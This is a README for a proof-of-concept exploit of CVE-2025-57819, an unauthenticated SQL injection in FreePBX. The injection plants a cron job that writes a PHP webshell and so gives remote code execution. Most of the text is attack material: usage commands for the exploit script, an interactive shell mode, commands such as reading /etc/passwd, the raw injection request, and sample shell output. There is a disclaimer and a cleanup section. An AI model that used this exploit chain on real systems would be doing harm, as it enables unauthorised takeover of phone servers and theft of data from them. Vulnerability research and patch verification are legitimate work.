neobee714/cve-2025-57819-pocFreePBX 未认证SQL注入导致远程代码执行，FreePBX 15 (低于 15.0.66)、16 (低于 16.0.89)、17 (低于 17.0.3)。该漏洞位于商业化“endpoint”模块中，因对用户输入过滤不严，允许未认证的攻击者绕过管理员权限，执行SQL注入，并最终实现远程代码执行
CVE-2025-57819 is a critical SQL injection vulnerability in FreePBX that allows an unauthenticated attacker to achieve remote code execution by chaining a SQL injection with cron job injection.
⚠️ Disclaimer: This repository is for authorized security testing and educational purposes only. Unauthorized use of this exploit against systems you do not own or have explicit permission to test is illegal. The author is not responsible for any misuse or damage.
| Field | Detail |
|---|---|
| CVE | CVE-2025-57819 |
| Affected Product | FreePBX (pre-authentication) |
| Vulnerability Type | SQL Injection (stacked queries) |
| Impact | Remote Code Execution (RCE) |
| Attack Vector | Network (HTTP GET) |
| Authentication Required | ❌ None |
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection │
│ POST /admin/ajax.php?brand= → stacked query │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection │
│ Malicious cron job writes base64-decoded PHP webshell │
│ to /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access │
│ GET /shell.php?cmd=<command> → arbitrary code execution │
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php endpoint processes the brand parameter without proper sanitization, allowing stacked SQL queries.INSERT INTO cron_jobs statement that schedules a malicious command every minute.# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Install dependency
pip install requests
# Basic usage
python exploit.py <target>
# Drop into interactive shell after injection
python exploit.py <target> --shell
# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target target hostname or IP (with optional scheme)
options:
-h, --help show this help message and exit
-p, --port PORT port (default: 80/443)
--shell drop into interactive shell after injection
--cmd CMD execute a single command via the webshell
--param PARAM webshell query-string parameter (default: cmd)
--no-wait skip the webshell-verification poll
-v, -vv increase verbosity (-v info, -vv debug)
# Target with default HTTP port
python exploit.py connected.htb
# Target with custom port
python exploit.py 10.10.11.100 -p 8080
# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell
# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"
# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"
# Verbose output for debugging
python exploit.py connected.htb -vv --shell
When using --shell, the script drops into a pseudo-terminal:
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
Type exit (or Ctrl-C, Ctrl-D) to quit the session.
If you prefer manual steps, the exploit does three things:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
The injected cron job (* * * * *) runs every minute and writes the webshell.
GET /shell.php?cmd=id
After testing, remove the webshell and cron job entry:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
Then delete /var/www/html/shell.php from the filesystem.
/admin/ajax.php is reachable without authenticationThis project is provided for educational and defensive security research purposes only. See the disclaimer at the top of this document.